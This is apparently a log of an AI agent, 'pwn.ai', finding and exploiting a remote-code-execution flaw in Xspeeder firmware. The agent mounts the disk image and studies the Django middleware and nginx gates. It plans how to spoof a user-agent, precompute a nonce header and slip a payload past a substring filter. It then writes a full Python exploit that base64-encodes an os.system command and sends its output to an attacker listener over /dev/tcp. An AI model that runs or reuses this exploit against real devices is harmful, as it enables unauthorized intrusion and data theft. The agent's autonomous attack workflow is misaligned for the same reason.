[00:02:11] ACTION : Install ISO in VirtualBox → first boot completes provisioning → clean shutdown
[00:03:02] ACTION : Load NBD and attach the VDI to /dev/nbd0
[00:03:02] RUN : modprobe nbd max_part=16
[00:03:05] RUN : qemu-nbd -c /dev/nbd0 "/home/user/VirtualBox VMs/Xspeeder/Xspeeder.vdi"
[00:03:09] ACTION : Identify partitions
[00:03:09] RUN : lsblk -f /dev/nbd0
[00:03:10] OUTPUT :
NAME   FSTYPE
nbd0
├─p1   ext4
└─p2   ext4

[00:03:15] ACTION : Mount root filesystem
[00:03:15] RUN : mount /dev/nbd0p2 /mnt && cd /mnt

pwn.ai thought → Goal now: fingerprint the web stack (framework, settings, URL map). 
Reaching back to the orchestrator for next instructions…

[00:04:02] ACTION : Enumerate app roots
[00:04:02] RUN : ls -la /
[00:04:04] OBS : /xspeeder present
[00:04:10] RUN : ls -la /xspeeder/xweb
[00:04:11] OBS : manage.py, xweb/, xapp/
[00:04:16] RUN : sed -n '1,50p' /xspeeder/xweb/manage.py
[00:04:17] OUTPUT :
#!/usr/bin/env python
import os, sys
if __name__ == "__main__":
    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "xweb.settings")
    from django.core.management import execute_from_command_line
    execute_from_command_line(sys.argv)
...
...
pwn.ai thought → Django  confirmed. Next: settings.py is for
INSTALLED_APPS and ROOT_URLCONF. Then urls.py for pre-auth surfaces.

[00:04:45] RUN : sed -n '1,220p' /xspeeder/xweb/xweb/middlewares.py
[00:04:47] OUTPUT :
class GateKeeper(object):
    def process_request(self, request):
        # Soft anti-bot: time-slice nonce header
        nonce = str(int(time.time()/60) % 7)
        if request.META.get('HTTP_X_SXZ_R') != nonce:
            return HttpResponseForbidden()
        # Session "warm-up" required
        if not request.session.get('sid'):
            return HttpResponseRedirect('/default/')
        # Cosmetic payload scan (pre-decode)
        if 'system' in request.GET.get('chkid', ''):
            return HttpResponseBadRequest("blocked")
        return None

[00:04:48] OBS : Three gates before index: a rotating header, a session bit, and a naive string scan on encoded data.
pwn.ai thought → Great news. Suggestors responded with no serious blockers.
The string scan looks for the system before base64 decodes; it may also not see the payload. The other two are easy to satisfy without touching the 3‑param constraint in the vulnerable view.
[00:04:50] RUN : sed -n '1,160p' /etc/nginx/sites-available/sxzweb.conf
[00:04:51] OUTPUT :
location / {
  if ($http_user_agent !~* SXZ) { return 403; }
  try_files $uri @django;
}

[00:04:52] OBS : Nginx UA gate → simple header spoof.
[00:04:54] PLAN : Precompute header nonce; prime session via a harmless endpoint; set SXZ-like UA. 
[00:04:54] All of these use headers/cookies, so the vulnerable view can still see exactly 3 query params.
[00:04:56] RUN : export HX=$(python - <<'PY' import time; print(int(time.time()//60)%7) PY ) && echo $HX
[00:04:58] RUN : curl -skI -A 'SXZ/2.3 (Linux; rv:88.0)' -H "X-SXZ-R: $HX" https://TARGET_IP/webInfos/
[00:04:59] OUTPUT :
HTTP/1.1 200 OK
Set-Cookie: sessionid=abc123...; Path=/; HttpOnly
...

[00:05:00] OBS : Session warmed; cookie captured.

[00:05:40] PLAN : Keep query params at 3 (title, oIp, chkid). Satisfy middleware using headers/cookie only:
User-Agent: SXZ/2.3 ...
X-SXZ-R: <minute_nonce>
Cookie: sessionid=abc123...
Append #sUserCodexsPwd to decoded payload to pass the substring gate.
[00:05:45] ACTION : Base64-encode the crafted string for chkid
[00:05:46] OUTPUT :
pwn.ai thought → Everything seems reachable and should be exploiable. Testing.

import requests, sys, time
from base64 import b64encode
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class XspeederRCE:
    def __init__(self, target_url, listener_ip, listener_port, cmd):
        self.target_url = target_url
        self.listener_ip = listener_ip
        self.listener_port = listener_port
        self.cmd = cmd
        self.session = requests.Session()

    def build_payload(self):
        payload = 'os.system("{}>/dev/tcp/{}/{}") #sUserCodexsPwd'.format(self.cmd, self.listener_ip, self.listener_port)
        self.target_url = "{}/?title=ABC&oIp=XXX&chkid={}".format(self.target_url, b64encode(payload.encode()).decode("utf-8"))

    def send_payload(self):
        headers = {
            'User-Agent': 'SXZ/2.3',
            'X-SXZ-R': str(int(time.time()/60) % 7)
        }
        self.session.get(self.target_url.rsplit('?')[0] + "/webInfos/", headers=headers, verify=False)
        self.session.get(self.target_url, headers=headers, verify=False)

    def run(self):
        self.build_payload()
        self.send_payload()

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print("[-] Usage: {} <target_url> <listener_ip> <listener_port> <cmd>".format(sys.argv[0]))
        print("[-] Make sure to listen on listener_ip:listener_port")
        sys.exit(-1)
    XspeederRCE(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]).run()